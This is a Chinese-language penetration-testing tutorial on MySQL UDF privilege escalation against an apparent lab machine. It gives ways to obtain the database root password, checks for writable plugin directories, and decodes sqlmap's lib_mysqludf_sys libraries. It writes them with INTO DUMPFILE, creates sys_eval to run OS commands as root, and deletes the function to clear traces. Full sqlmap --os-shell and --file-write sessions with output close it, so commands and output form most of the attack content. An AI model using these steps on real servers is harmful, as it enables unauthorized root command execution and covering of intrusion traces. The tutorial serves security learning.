Security-MySQL提权

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MySQL UDF提权

背景介绍

UDF

UDF（user defined function）用户自定义函数,是MySQL的一个扩展接口，称为用户自定义函数,是用来拓展MySQL的技术手段，用户通过自定义函数来实现在MySQL中无法实现的功能。文件后缀为.dll或.so,常用c语言编写。拿到一个WebShell之后，在利用操作系统本身存在的漏洞提权的时候发现补丁全部被修补。这个时候需要利用第三方应用提权。当MYSQL权限比较高的时候我们就可以利用udf提权。

利用前提

获取到对方的Mysql数据库下的root账户密码
- 查看网站源码里面的数据库配置文件(inc/conn/config/common/data等)
- 下载对方数据库安装路径下的user.myd、user.MYD、user.MYI三个文件,在测试环境中替换
  - mysql --skip-grant-tables 跳过验证
  - mysql -uroot 直接无密码登录
  - use mysql
  - select * from user获取到密码后进行解密
mysql允许导入导出文件
高权限用户启动，如root。该账号需要有对数据库mysql的insert和delete权限，其实是操作里面的func表，所以func表也必须存在。
未开启‑‑skip‑grant‑tables。开启的情况下，UDF不会被加载，默认不开启。

Linux环境

Linux环境下的UDF提权大概率仅限于靶场环境中，原因：

在Linux严格的系统权限下，mysql用户或web用户无plugin目录的写入权限,所以我们下方指定了需要root用户启动

实验环境

手工启动mysql，指定root启动：user = root。默认是mysql用户启动。

如果是通过systemctl启动的话也要修改/usr/lib/systemd/system/mysqld.service文件

手工提权

查找是否已经存在了udf表

mysql> SELECT * FROM information_schema.tables WHERE table_name like '%fun%'; 
+---------------+--------------+------------+------------+--------+---------+------------+------------+----------------+-------------+--------------------+--------------+-----------+----------------+---------------------+---------------------+---------------------+-----------------+----------+----------------+------------------------+
| TABLE_CATALOG | TABLE_SCHEMA | TABLE_NAME | TABLE_TYPE | ENGINE | VERSION | ROW_FORMAT | TABLE_ROWS | AVG_ROW_LENGTH | DATA_LENGTH | MAX_DATA_LENGTH    | INDEX_LENGTH | DATA_FREE | AUTO_INCREMENT | CREATE_TIME         | UPDATE_TIME         | CHECK_TIME          | TABLE_COLLATION | CHECKSUM | CREATE_OPTIONS | TABLE_COMMENT          |
+---------------+--------------+------------+------------+--------+---------+------------+------------+----------------+-------------+--------------------+--------------+-----------+----------------+---------------------+---------------------+---------------------+-----------------+----------+----------------+------------------------+
| NULL          | mysql        | func       | BASE TABLE | MyISAM |      10 | Fixed      |          3 |            579 |        1737 | 162974011515469823 |         2048 |         0 |           NULL | 2012-02-04 10:00:35 | 2020-12-21 15:24:46 | 2020-12-21 10:35:01 | utf8_bin        |     NULL |                | User defined functions | 
+---------------+--------------+------------+------------+--------+---------+------------+------------+----------------+-------------+--------------------+--------------+-----------+----------------+---------------------+---------------------+---------------------+-----------------+----------+----------------+------------------------+
1 row in set (0.00 sec)

-- 上方有个func表,属于mysql数据库,查看他存在哪些函数
mysql> select * from mysql.func;
+-----------------------+-----+---------------------+----------+
| name                  | ret | dl                  | type     |
+-----------------------+-----+---------------------+----------+
| lib_mysqludf_sys_info |   0 | lib_mysqludf_sys.so | function | 
| sys_exec              |   0 | lib_mysqludf_sys.so | function | 
| sys_eval              |   0 | lib_mysqludf_sys.so | function | 
+-----------------------+-----+---------------------+----------+
3 rows in set (0.00 sec)

-- 调用sys_eval函数
mysql> select sys_eval('whoami');
+--------------------+
| sys_eval('whoami') |
+--------------------+
| root               | 
+--------------------+
1 row in set (0.00 sec)

判断前提条件

查看是否允许导入导出文件

mysql> show variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv |       |
+------------------+-------+
1 row in set (0.00 sec)

%secure_file_priv%这个参数在MySQL数据库的安装目录的 my.ini 文件中配置，也可以作为启动参数。

secure_file_priv是用来限制load dumpfile、into outfile、load_file() 函数在哪个目录下拥有上传或者读取文件的权限。

当 secure_file_priv 的值为 null ，表示限制 mysqld 不允许导入|导出，此时无法提权
当 secure_file_priv 的值为 /tmp/ ，表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下，此时也无法提权
当 secure_file_priv 的值没有具体值时，表示不对 mysqld 的导入|导出做限制，此时可提权

查看是否高权限

1	mysql> select * from mysql.user where user = substring_index(user(), '@', 1) ;

查看plugin的值

-- plugin 字段是从 MySQL 5.7.6 版本开始引入的。在此版本之前，plugin 字段不存在。该字段存储了用户账户所使用的身份验证插件信息，用于确定用户账户的身份验证方式。

-- 在早期版本的 MySQL 中，默认的身份验证插件是 mysql_native_password，但从 MySQL 8.0 开始，默认的身份验证插件改为了 caching_sha2_password。plugin 字段会记录当前用户账户所使用的插件，以便正确进行身份验证和密码加密

mysql> select host,user,plugin from mysql.user where user = substring_index(user(),'@',1);
+-----------+------+-----------------------+
| host      | user | plugin                |
+-----------+------+-----------------------+
| localhost | root | mysql_native_password |
+-----------+------+-----------------------+
1 row in set (0.02 sec)

plugin值表示mysql用户的认证方式。当 plugin 的值为空时不可提权，为 mysql_native_password 时可通过账户连接提权。默认为mysql_native_password。另外，mysql用户还需对此plugin目录具有写权限。

查看plugin目录位置

mysql> show variables like '%plugin%';
+-------------------------------+------------------------------+
| Variable_name                 | Value                        |
+-------------------------------+------------------------------+
| default_authentication_plugin | mysql_native_password        |
| plugin_dir                    | /usr/local/mysql/lib/plugin/ |
+-------------------------------+------------------------------+
2 rows in set (0.00 sec)

确定Mysql安装位置

mysql> select @@basedir;
+-------------------+
| @@basedir         |
+-------------------+
| /usr/local/mysql/ |
+-------------------+
1 row in set (0.00 sec)

mysql> show variables like '%basedir%';
+---------------+-------------------+
| Variable_name | Value             |
+---------------+-------------------+
| basedir       | /usr/local/mysql/ |
+---------------+-------------------+
1 row in set (0.00 sec)

通过主机版本及架构确认mysql位数来选用udf文件

mysql> show variables like '%compile%';
+-------------------------+--------+
| Variable_name           | Value  |
+-------------------------+--------+
| version_compile_machine | x86_64 |
| version_compile_os      | Linux  |
+-------------------------+--------+
2 rows in set (0.00 sec)

查看数据库版本，判断udf文件写入位置
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mysql> select version();
+-----------+
| version() |
+-----------+
| 5.7.18 |
+-----------+
1 row in set (0.00 sec)
1. 5.1 mysql大于5.1版本时
  - 查看 plugin 目录，存在lib\plugin目录且有Webshell时，直接上传udf文件
  - 查看 plugin 目录，存在lib\plugin目录但没有Webshell时，则需要以16进制编码写入udf文件。
2. mysql小于5.1版本时
  1. udf.dll文件在Windows2003下放置于c:\windows\system32，在windows2000下放置于c:\winnt\system32。
  2. 有webshell时，通过webshell上传udf文件。
  3. 无webshell时，使用dumpfile通过16进制数据流写入udf文件。
  4. Linux系统
    1. 判断是否存在UDFjohn@Kioptrix4:/home$ whereis lib_mysqludf_sys.so
    2. 尝试创建函数,如果存在则直接使用即可
      - use mysql;
      - create function sys_eval returns string soname 'udf.so';

上传udf库文件

准备udf库文件

需要选择对应的版本，否则会报错。

从sqlmap获取sqlmap根目录/data/udf/mysql

┌──(kali㉿kali)-[/usr/share/sqlmap/data/udf/mysql]
└─$ tree
.
├── linux
│   ├── 32
│   │   └── lib_mysqludf_sys.so_
│   └── 64
│       └── lib_mysqludf_sys.so_
└── windows
    ├── 32
    │   └── lib_mysqludf_sys.dll_
    └── 64
        └── lib_mysqludf_sys.dll_

# 不过 sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过，不能被直接使用。不过可以利用 sqlmap 自带的解码工具 cloak.py 来解码使用，cloak.py 的位置为:/usr/share/sqlmap/extra/cloak/cloak.py,解码方法如下
# 解码 32 位的 Linux 动态链接库
┌──(kali㉿kali)-[/usr/share/sqlmap/data/udf/mysql]
└─$ sudo python3 ../../../extra/cloak/cloak.py -d -i linux/32/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_32.so

# 解码 64 位的 Linux 动态链接库
┌──(kali㉿kali)-[/usr/share/sqlmap/data/udf/mysql]
└─$ sudo python3 ../../../extra/cloak/cloak.py -d -i linux/64/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_64.so


# 解码 32 位的 Windows 动态链接库
┌──(kali㉿kali)-[/usr/share/sqlmap/data/udf/mysql]
└─$ sudo python3 ../../../extra/cloak/cloak.py -d -i windows/32/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll

# 解码 64 位的 Windows 动态链接库
┌──(kali㉿kali)-[/usr/share/sqlmap/data/udf/mysql]
└─$ sudo python3 ../../../extra/cloak/cloak.py -d -i windows/64/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll

此时会在相同目录生成解密后的文件

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┌──(kali㉿kali)-[/usr/share/sqlmap/data/udf/mysql]
└─$ ls                                                                                                                                                      
lib_mysqludf_sys_32.dll  lib_mysqludf_sys_32.so  lib_mysqludf_sys_64.dll  lib_mysqludf_sys_64.so  linux  windows

从metasploit中获取

在kali的/usr/share/metasploit-framework/data/exploits/mysql目录下找到相应的库即可。这个库和sqlmap解密后的一模一样。

┌──(kali㉿kali)-[/usr/share/metasploit-framework/data/exploits/mysql]
└─$ tree .
.
├── lib_mysqludf_sys_32.dll
├── lib_mysqludf_sys_32.so
├── lib_mysqludf_sys_64.dll
└── lib_mysqludf_sys_64.so

1 directory, 4 files

SQLMap中提取好的UDF文件—来自国光师傅

上传udf库文件

lib_mysqludf_sys_32.dll

SELECT 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INTO DUMPFILE 'C:\\Program Files\\MySQL\\MySQL Server 5.3\\lib\\plugin\\udf.dll';

lib_mysqludf_sys_64.dll

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INTO DUMPFILE 'C:\\Program Files\\MySQL\\MySQL Server 5.3\\lib\\plugin\\udf.dll';

lib_mysqludf_sys_32.so

SELECT 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INTO DUMPFILE '/usr/local/mysql/lib/plugin/udf.so';

lib_mysqludf_sys_64.so

SELECT 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INTO DUMPFILE '/usr/local/mysql/lib/plugin/udf.so';

创建函数

先在本地查看有哪些函数可用

┌──(kali㉿kali)-[/usr/share/metasploit-framework/data/exploits/mysql]
└─$ nm -D lib_mysqludf_sys_64.so 
0000000000201788 A __bss_start
                 w __cxa_finalize@GLIBC_2.2.5
0000000000201788 A _edata
0000000000201798 A _end
                 U fgets@GLIBC_2.2.5
0000000000001178 T _fini
                 U fork@GLIBC_2.2.5
                 U free@GLIBC_2.2.5
                 U getenv@GLIBC_2.2.5
                 w __gmon_start__
0000000000000ba0 T _init
                 w _Jv_RegisterClasses
000000000000101a T lib_mysqludf_sys_info
0000000000000da4 T lib_mysqludf_sys_info_deinit
0000000000001047 T lib_mysqludf_sys_info_init
                 U malloc@GLIBC_2.2.5
                 U mmap@GLIBC_2.2.5
                 U pclose@GLIBC_2.2.5
                 U popen@GLIBC_2.2.5
                 U realloc@GLIBC_2.2.5
                 U setenv@GLIBC_2.2.5
                 U strcpy@GLIBC_2.2.5
                 U strncpy@GLIBC_2.2.5
0000000000000dac T sys_bineval
0000000000000dab T sys_bineval_deinit
0000000000000da8 T sys_bineval_init
                 U sysconf@GLIBC_2.2.5
0000000000000e46 T sys_eval
0000000000000da7 T sys_eval_deinit
0000000000000f2e T sys_eval_init
0000000000001066 T sys_exec
0000000000000da6 T sys_exec_deinit
0000000000000f57 T sys_exec_init
00000000000010f7 T sys_get
0000000000000da5 T sys_get_deinit
0000000000000fea T sys_get_init
000000000000107a T sys_set
00000000000010e8 T sys_set_deinit
0000000000000f80 T sys_set_init
                 U system@GLIBC_2.2.5
                 U waitpid@GLIBC_2.2.5

lib_mysqludf_sys_info_init、lib_mysqludf_sys_info 和 lib_mysqludf_sys_info_deinit：这些函数用于加载和卸载 MySQL 用户定义函数（UDF）。lib_mysqludf_sys_info_init 是用于初始化 UDF 的函数，在加载 UDF 之前调用。lib_mysqludf_sys_info 是 UDF 的主体函数，它执行实际的操作。lib_mysqludf_sys_info_deinit 是在卸载 UDF 时进行清理的函数。

sys_eval(command)、sys_eval_init 和 sys_eval_deinit：这些函数用于执行系统命令。sys_eval_init 在执行命令前进行初始化操作，sys_eval 执行指定的系统命令，并返回其输出结果，sys_eval_deinit 在完成操作后进行清理工作。

sys_exec(command)、sys_exec_init 和 sys_exec_deinit：这些函数用于执行系统命令，并返回执行结果。sys_exec_init 在执行命令前进行初始化操作，sys_exec 执行指定的系统命令，并返回其退出码（返回状态），sys_exec_deinit 在完成操作后进行清理工作。

sys_set(environment_variable, value)、sys_set_init 和 sys_set_deinit：这些函数用于设置环境变量。sys_set_init 在设置环境变量前进行初始化操作，sys_set 创建或修改指定的环境变量和其对应的值，sys_set_deinit 在完成操作后进行清理工作。

sys_get(environment_variable)、sys_get_init 和 sys_get_deinit：这些函数用于获取环境变量的值。sys_get_init 在获取环境变量前进行初始化操作，sys_get 获取指定环境变量的值，并将其作为字符串返回，sys_get_deinit 在完成操作后进行清理工作。

sys_bineval(command)、sys_bineval_init 和 sys_bineval_deinit：这些函数用于执行二进制命令。sys_bineval_init 对执行命令进行初始化操作，sys_bineval 执行指定的二进制命令，sys_bineval_deinit 在完成操作后进行清理工作。

1
2
3

-- 创建`sys_eval`函数
mysql> create function sys_eval returns string soname 'udf.so';
Query OK, 0 rows affected (0.01 sec)

函数操作

-- 调用函数
mysql> select sys_eval('whoami');
+--------------------+
| sys_eval('whoami') |
+--------------------+
| root               |
+--------------------+
1 row in set (0.03 sec)

-- 查看函数
mysql> select * from mysql.func;
+----------+-----+--------+----------+
| name     | ret | dl     | type     |
+----------+-----+--------+----------+
| sys_eval |   0 | udf.so | function |
+----------+-----+--------+----------+
1 row in set (0.00 sec)

-- 删除函数（清除痕迹）,如果要删除函数,必须udf文件还存在plugin目录下
drop function sys_eval;
或
delete from mysql.func where name='sys_eval';

利用sqlmap

全自动化

# -d 是用于指定要进行目标数据库测试的参数
# --os-shell 获取一个交互式操作系统shell
# mysql://：表示使用 MySQL 协议连接。
# root:123456：表示使用用户名和密码进行身份验证，其中 root 是用户名，123456是密码。
# 192.168.64.172：表示目标主机的 IP 地址。
# 3306：表示目标 MySQL 服务器的端口号。
# /mysql：表示要连接的数据库名称

┌──(kali㉿kali)-[~/桌面/OSCP Like Machines/Vulnhub/0x04 .assets]
└─$ sudo sqlmap -d "mysql://root:123456@192.168.64.172:3306/mysql" --os-shell
        ___
       __H__                                                                                                                    
 ___ ___[']_____ ___ ___  {1.7.8#stable}                                                                                        
|_ -| . [']     | .'| . |                                                                                                       
|___|_  [)]_|_|_|__,|  _|                                                                                                       
      |_|V...       |_|   https://sqlmap.org                                                                                    

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 16:47:45 /2020-12-21/

[16:47:45] [INFO] flushing session file
[16:47:45] [INFO] connection to MySQL server '192.168.64.172:3306' established
[16:47:45] [INFO] testing MySQL
[16:47:45] [INFO] confirming MySQL
[16:47:45] [INFO] the back-end DBMS is MySQL
[16:47:45] [WARNING] (remote) ProgrammingError: (MySQLdb._exceptions.ProgrammingError) not enough arguments for format string
[16:47:45] [WARNING] (remote) ProgrammingError: (MySQLdb._exceptions.ProgrammingError) not enough arguments for format string
[16:47:45] [WARNING] (remote) ProgrammingError: (MySQLdb._exceptions.ProgrammingError) not enough arguments for format string
[16:47:45] [WARNING] (remote) ProgrammingError: (MySQLdb._exceptions.ProgrammingError) not enough arguments for format string
[16:47:45] [WARNING] (remote) ProgrammingError: (MySQLdb._exceptions.ProgrammingError) not enough arguments for format string
back-end DBMS: MySQL >= 5.0.0
[16:47:45] [INFO] fingerprinting the back-end DBMS operating system
[16:47:45] [INFO] the back-end DBMS operating system is Linux
[16:47:45] [WARNING] (remote) OperationalError: (MySQLdb._exceptions.OperationalError) (1051, "Unknown table 'mysql.sqlmapfile'")
[16:47:45] [WARNING] (remote) OperationalError: (MySQLdb._exceptions.OperationalError) (1051, "Unknown table 'mysql.sqlmapfilehex'")                                                                                                                            
[16:47:45] [INFO] testing if current user is DBA
[16:47:45] [INFO] fetching current user
what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
> 2
[16:47:47] [INFO] checking if UDF 'sys_exec' already exist
[16:47:47] [INFO] checking if UDF 'sys_eval' already exist
[16:47:47] [INFO] detecting back-end DBMS version from its banner
[16:47:47] [INFO] retrieving MySQL plugin directory absolute path
[16:47:47] [WARNING] (remote) OperationalError: (MySQLdb._exceptions.OperationalError) (1051, "Unknown table 'mysql.sqlmapfile'")
[16:47:47] [INFO] the local file '/tmp/sqlmapalvrq_2j173244/lib_mysqludf_sys2r2q21dc.so' and the remote file '/usr/local/mysql/lib/plugin/libsxhpl.so' have the same size (8040 B)                                                                              
[16:47:47] [WARNING] (remote) OperationalError: (MySQLdb._exceptions.OperationalError) (1051, "Unknown table 'mysql.sqlmapfilehex'")                                                                                                                            
[16:47:47] [INFO] creating UDF 'sys_exec' from the binary UDF file
[16:47:47] [WARNING] (remote) OperationalError: (MySQLdb._exceptions.OperationalError) (1305, 'FUNCTION mysql.sys_exec does not exist')                                                                                                                         
[16:47:47] [INFO] creating UDF 'sys_eval' from the binary UDF file
[16:47:47] [WARNING] (remote) OperationalError: (MySQLdb._exceptions.OperationalError) (1305, 'FUNCTION mysql.sys_eval does not exist')                                                                                                                         
[16:47:47] [WARNING] (remote) OperationalError: (MySQLdb._exceptions.OperationalError) (1051, "Unknown table 'mysql.sqlmapoutput'")
[16:47:47] [INFO] going to use injected user-defined functions 'sys_eval' and 'sys_exec' for operating system command execution
[16:47:47] [INFO] calling Linux OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a] y
command standard output: 'root'
os-shell> id
do you want to retrieve the command standard output? [Y/n/a] y
command standard output: 'uid=0(root) gid=0(root) 组=0(root) 环境=system_u:system_r:unconfined_service_t:s0'
os-shell>

半自动化

获取plugin目录

┌──(kali㉿kali)-[~/桌面/OSCP Like Machines/Vulnhub/0x04 .assets]
└─$ sudo sqlmap -d "mysql://root:123456@192.168.64.172:3306/mysql" --sql-shell
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.7.8#stable}
|_ -| . [(]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 16:50:43 /2020-12-21/

[16:50:43] [INFO] connection to MySQL server '192.168.64.172:3306' established
[16:50:43] [INFO] testing MySQL
[16:50:43] [INFO] resumed: [['1']]...
[16:50:43] [INFO] confirming MySQL
[16:50:43] [INFO] resumed: [['1']]...
[16:50:43] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[16:50:43] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell> select @@plugin_dir;
[16:50:58] [INFO] fetching SQL SELECT statement query output: 'select @@plugin_dir'
[16:50:58] [INFO] resumed: [['/usr/local/mysql/lib/plugin/']]...
select @@plugin_dir: '/usr/local/mysql/lib/plugin/'
sql-shell>

得到plugin目录为/usr/local/mysql/lib/plugin/。

上传`lib_mysqludf_sys`到`plugin`目录

# --file-write 参数用于指定要写入的文件路径，
# --file-dest 参数用于指定目标系统中要将文件写入的位置
# 具体来说，--file-write 参数指定了要写入的文件，而 --file-dest 参数指定了文件在目标系统中的目标路径。
┌──(kali㉿kali)-[~]
└─$ sudo sqlmap -d "mysql://root:123456@192.168.64.172:3306/mysql" --file-write=/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.so --file-dest=/usr/local/mysql/lib/plugin/lib_mysqludf_sys_64.so
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.7.8#stable}
|_ -| . ["]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 16:54:31 /2020-12-21/

[16:54:31] [INFO] connection to MySQL server '192.168.64.172:3306' established
[16:54:31] [INFO] testing MySQL
[16:54:31] [INFO] resumed: [['1']]...
[16:54:31] [INFO] confirming MySQL
[16:54:31] [INFO] resumed: [['1']]...
[16:54:31] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[16:54:31] [INFO] fingerprinting the back-end DBMS operating system
[16:54:31] [INFO] resumed: [['0']]...
[16:54:31] [INFO] the back-end DBMS operating system is Linux
[16:54:31] [WARNING] (remote) OperationalError: (MySQLdb._exceptions.OperationalError) (1051, "Unknown table 'mysql.sqlmapfile'")
[16:54:31] [WARNING] (remote) OperationalError: (MySQLdb._exceptions.OperationalError) (1051, "Unknown table 'mysql.sqlmapfilehex'")
[16:54:31] [WARNING] (remote) OperationalError: (MySQLdb._exceptions.OperationalError) (1051, "Unknown table 'mysql.sqlmapfile'")
do you want confirmation that the local file '/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.so' has been successfully written on the back-end DBMS file system ('/usr/local/mysql/lib/plugin/lib_mysqludf_sys_64.so')? [Y/n] y
[16:54:34] [INFO] the local file '/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.so' and the remote file '/usr/local/mysql/lib/plugin/lib_mysqludf_sys_64.so' have the same size (8040 B)
[16:54:34] [WARNING] (remote) OperationalError: (MySQLdb._exceptions.OperationalError) (1051, "Unknown table 'mysql.sqlmapfilehex'")                                                                                                                            
[16:54:34] [INFO] connection to MySQL server '192.168.64.172:3306' closed

[*] ending @ 16:54:34 /2020-12-21/

创建&执行函数

┌──(kali㉿kali)-[~]
└─$ sudo sqlmap -d "mysql:--root:123456@192.168.64.172:3306/mysql" --sql-shell                                              
        ___
       __H__                                                                                                                    
 ___ ___[.]_____ ___ ___  {1.7.8--stable}                                                                                        
|_ -| . [,]     | .'| . |                                                                                                       
|___|_  [(]_|_|_|__,|  _|                                                                                                       
      |_|V...       |_|   https:--sqlmap.org                                                                                    

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 16:55:30 /2020-12-21/

[16:55:30] [INFO] connection to MySQL server '192.168.64.172:3306' established
[16:55:30] [INFO] testing MySQL
[16:55:30] [INFO] resumed: [['1']]...
[16:55:30] [INFO] confirming MySQL
[16:55:30] [INFO] resumed: [['1']]...
[16:55:30] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[16:55:30] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell> create function sys_eval returns string soname 'lib_mysqludf_sys_64.so'
[16:55:50] [INFO] executing SQL data definition statement: 'create function sys_eval returns string soname 'lib_mysqludf_sys_64.so''
create function sys_eval returns string soname 'lib_mysqludf_sys_64.so': 'NULL'
sql-shell> select sys_eval('whoami');
[16:56:00] [INFO] fetching SQL SELECT statement query output: 'select sys_eval('whoami')'
select sys_eval('whoami'): 'root'
sql-shell>